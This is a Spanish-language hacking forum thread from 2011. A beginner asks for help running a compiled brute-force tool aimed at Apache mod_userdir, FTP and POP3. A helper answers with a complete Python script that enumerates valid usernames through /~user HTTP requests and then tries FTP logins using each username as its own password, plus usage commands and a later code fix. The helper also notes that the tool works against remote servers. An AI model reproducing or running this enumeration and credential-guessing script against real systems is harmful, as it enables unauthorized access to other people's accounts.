Test Foro de elhacker.net SMF 2.1

Seguridad Informática => Hacking => Bugs y Exploits => Mensaje iniciado por: Nobody12 en 3 Octubre 2011, 00:20 AM

Título: mod_userdir Apache
Publicado por: Nobody12 en 3 Octubre 2011, 00:20 AM
Hola, antes que nada decir que acabo de empezar en ésto, así que es normal que mis preguntas sean un poco newbies.

He compilado un exploit en C perfectamente, el problema viene al ejecutarlo.
Para ello tengo que poner ésto:

Use: exploit.exe [options] -h <host> -u <usrfile>
           -h     Host
           -u     Users file
           Options
           -f     Try log on via FTP
           -p     Try log on via POP3

Lo que pasa es que no sé ni si usar vía FTP o POP3 ni qué poner en "<usrfile>" porque no tengo ni idea de dónde se guardan los usuarios y contraseñas en Apache.

Para probarlo lo ejecuto en localhost, ya que tengo una servidor local (aunque no tiene el bug):
exploit.exe -f -h localhost -u user_password

Y me da error evidentemente  :) :

Título: Re: mod_userdir Apache
Publicado por: Ivanchuk en 4 Octubre 2011, 08:35 AM
Hola SySc0d3r,

No es un exploit, es un bruteforce. Lo podes testear en localhost siempre y cuando tengas alguno de los servers que ataca:
- Apache con mod_userdir
- FTP
- POP3
Con la opcion -u le pasas un archivo con la lista de usuarios para el bruteforce, uno por linea.

Código (bash) [Seleccionar]
exploit.exe -f -h localhost -u archivo_con_usuarios.txt

Saludos
Título: Re: mod_userdir Apache
Publicado por: Nobody12 en 6 Octubre 2011, 12:39 PM
EDITO: Hola, gracias por contestar.

Tengo un server FTP con Apache incluído, pero no tiene esta vulnerabilidad.

Al final encontré el archivo mod_userdir en la carpeta de Apache, y tiene extensión ".so".
¿Tengo que poner simplemente ésto para atacar mi server?

exploit.exe -f -h localhost -u mod_userdir.so

Acabo de probarlo y no me funciona, me dice todo el rato:

Título: Re: mod_userdir Apache
Publicado por: Ivanchuk en 7 Octubre 2011, 08:36 AM
Cita de: SySc0d3r en  6 Octubre 2011, 12:39 PM
Al final encontré el archivo mod_userdir en la carpeta de Apache, y tiene extensión ".so".
¿Tengo que poner simplemente ésto para atacar mi server?

exploit.exe -f -h localhost -u mod_userdir.so

No, en -u tenes que poner un archivo de texto que contenga los nombres de usuario. Por ej suponete que en el archivo users.txt tenes esto


admin
goku
neo
luke
kirk
elbrujo


Guarda el archivo users.txt en el mismo lugar donde ejecutas exploit y proba con esto:
Código (bash) [Seleccionar]
exploit.exe -f -h localhost -u users.txt
Título: Re: mod_userdir Apache
Publicado por: Nobody12 en 7 Octubre 2011, 17:13 PM
Pero si exploit.exe ha de estar en la misma carpeta que el archivo de usuarios, ¿no puedo utilizar el bruteforce desde otro ordenador?

Probé como me dijiste y me detecta el archivo, pero se me queda aquí:

Título: Re: mod_userdir Apache
Publicado por: Ivanchuk en 7 Octubre 2011, 20:28 PM
Detalle, la opcion -f hace que exploit.exe intente hacer un bruteforce sobre el puerto 21(ftp). Sacale el -f si queres que ataque el puerto 80.
Con respecto a la direccion, localhost equivale a 127.0.0.1 y no a 192.168.1.1. Pone esa direccion sino, porque puede ser que el servidor http no este bindeado a localhost.
Título: Re: mod_userdir Apache
Publicado por: Nobody12 en 7 Octubre 2011, 20:38 PM
Vale, ya entiendo.

Estoy probando ahora sin poner ni -f ni -p y he podido conectarme  :)

Aunque parece que el Apache me sigue sin funcionar, puesto que se me ha parado en:

Título: Re: mod_userdir Apache
Publicado por: Ivanchuk en 7 Octubre 2011, 20:54 PM
Cita de: SySc0d3r en  7 Octubre 2011, 20:38 PM
Sólo una cosa, ¿puedo usar el exploit desde este ordenador, por ejemplo, e intentar atacar un server alojado en otro ordenador que contiene el archivo con los usuarios? ¿O este archivo tiene que estar obligatoriamente en el misma carpeta que exploit.exe?
El archivo tiene que estar obligatoriamente en la misma carpeta que el exploit.exe
Pero podes lanzar el ataque contra un server remoto sin problemas, usando el archivo en local, es la idea principal del bruteforce.

Saludos!
Título: Re: mod_userdir Apache
Publicado por: Nobody12 en 7 Octubre 2011, 22:57 PM
Bien, por fin conseguí hacer que se me iniciara el Apache.
Simplemente tuve que terminar los procesos que utilizaban el puerto 80.

Utilizo este comando:
exploit.exe -f -h localhost -u users.txt

En vez de localhost, también puedo usar mi IP local.

Me muestra los usuarios del archivo perfectamente.
El problema viene después.  :(

Me sale que se ha conectado bien por FTP, pero justo después me dice que exploit.exe deja de funcionar.

Título: Re: mod_userdir Apache
Publicado por: Ivanchuk en 12 Octubre 2011, 21:30 PM
El problema esta adentro de la funcion trylogonFTP()

Lo que tiene que hacer es simple, escribirlo en C es romperse la cabeza... ni conviene ponerse a ver donde se cuelga (que debe ser en algun recv)

Aca te hice uno que hace lo mismo pero en python. Menos lineas y muuucho mas facil de entender/corregir/mantener/mejorar/etc...

Código (python) [Seleccionar]

#!/usr/bin/python
import sys
import httplib
from ftplib import FTP

def usage():
print "Usage:"
print sys.argv[0] + " localhost users.txt"
return

if len(sys.argv) < 3:
print "#ERROR# Not enough arguments"
usage()
exit()

host = sys.argv[1]
fusers = sys.argv[2]

# Abrir archivo con usuarios
users = open(fusers, 'r')

print "Search for http users"

# Intentar conexiones por http y guardar los usuarios validos
valid_users = []
for user in users:
user = user.strip()
if not user:
continue

# Conectarse al servidor http
conn = httplib.HTTPConnection(host)
# Probar con el usuario user
print "Trying user " + user + " ...",
conn.request("GET", "/~{0}".format(user))

res = conn.getresponse()
if res.status == 404: # respuesta 404
print "not found"
else:
print "OK!"
# Salvar usuario
valid_users.append(user)

# Salir si no se encontro ningun usuario
if len(valid_users) == 0:
print "No user has been found. Aborting!"
exit()

# Probar por ftp ahora
print "Try login to ftp server"
for vuser in valid_users:
print "Trying user " + vuser + "...",; sys.stdout.flush()
try:
ftp = FTP(host, user = vuser, passwd = vuser)
ftp.quit()
print "OK!"
except:
print "refused"


Copialo y pegalo. Le pasas el host y el nombre del archivo como parametros. Espero te sirva

Saludos!
Título: Re: mod_userdir Apache
Publicado por: Nobody12 en 12 Octubre 2011, 22:12 PM
¡Muchísimas gracias por haberte molestado en hacer el código!  :D

Ahora en seguida lo pruebo.
¿Pero dónde debo pegarlo exactamente?  :-[

Gracias de nuevo.
Título: Re: mod_userdir Apache
Publicado por: Ivanchuk en 12 Octubre 2011, 22:38 PM
Lo pegas en un archivo y le das permisos de ejecucion al archivo, estas en linux no?
Tenes que tener python instalado.
Título: Re: mod_userdir Apache
Publicado por: Nobody12 en 12 Octubre 2011, 22:53 PM
Estaba en linux, pero como el bruteforce es para Windows pues me cambié.
Ahora vuelvo.
De todas formas dime qué hago, ¿ejecuto el archivo y ya está? ¿Qué hago con el bruteforce?
Título: Re: mod_userdir Apache
Publicado por: Ivanchuk en 12 Octubre 2011, 22:59 PM
Bueno, podes bajarte python para windows sino.
Guardas el codigo en un archivo, suponete bf.py, y lo ejecutas asi

Código (bash) [Seleccionar]
python bf.py localhost users.txt
Título: Re: mod_userdir Apache
Publicado por: Nobody12 en 12 Octubre 2011, 23:05 PM
Bueno en Linux me da problemas:

/usr/bin/python: can't find '__main__' module in 'LogOn.py'

No he podido solucionarlo, así que vuelvo a Windows :)
Título: Re: mod_userdir Apache
Publicado por: Nobody12 en 12 Octubre 2011, 23:45 PM
No hay manera de conectarse por FTP. Me dice continuamente "refused".
Sin embargo por http va perfectamente.

En el server me dice ésto:

(000015)12/10/2011 23:39:06 - (not logged in) (::1)> Connected, sending welcome message...
(000015)12/10/2011 23:39:06 - (not logged in) (::1)> 220 Bienvenido al Servidor FTP de SySc0d3r
(000015)12/10/2011 23:39:06 - (not logged in) (::1)> GET /~SySc0d3r HTTP/1.1
(000015)12/10/2011 23:39:06 - (not logged in) (::1)> 500 Syntax error, command unrecognized.
(000015)12/10/2011 23:39:06 - (not logged in) (::1)> Host: localhost
(000015)12/10/2011 23:39:06 - (not logged in) (::1)> 500 Syntax error, command unrecognized.
(000015)12/10/2011 23:39:06 - (not logged in) (::1)> Accept-Encoding: identity
(000015)12/10/2011 23:39:06 - (not logged in) (::1)> 500 Syntax error, command unrecognized.

Probaré a reinstalar y volver a configurarlo todo porque me da que ni el Apache ni el Filezilla funcionan correctamente...

Gracias por tu tiempo Iván.
Título: Re: mod_userdir Apache
Publicado por: Ivanchuk en 13 Octubre 2011, 09:23 AM
Los GET al ftp? no tendras el ftp escuchando en el puerto 80?

Los GET deberian llegar al http y si encuentra usuarios por http despues intenta por ftp.

Saludos
Título: Re: mod_userdir Apache
Publicado por: Nobody12 en 13 Octubre 2011, 13:52 PM
No, a ver, lo que he puesto es lo que me sale en el Filezilla Server cuando intenta loguearse con los distintos usuarios del archivo users.txt.
Por http va bien, pero no por FTP, que es cuando me aparece lo de "refused".
Título: Re: mod_userdir Apache
Publicado por: Ivanchuk en 13 Octubre 2011, 22:40 PM
Mmm, para estar bien seguros, cambia estas lineas del codigo que te pase

Código (python) [Seleccionar]
if res.status == 404: # respuesta 404
print "not found"
else:
print "OK!"
# Salvar usuario
valid_users.append(user)


por estas

Código (python) [Seleccionar]
if res.status in range(200,300): # 2XX OK
print "OK!"
# Salvar usuario
valid_users.append(user)
else:
print "not found"


Cambialas y probalo de vuelta a ver que te dice.
Título: Re: mod_userdir Apache
Publicado por: Nobody12 en 13 Octubre 2011, 23:31 PM
Ok Iván, ahora mismo estoy teniendo algunos problemas con la conexión a Internet.  :-\
Ya lo pruebo mañana y te cuento.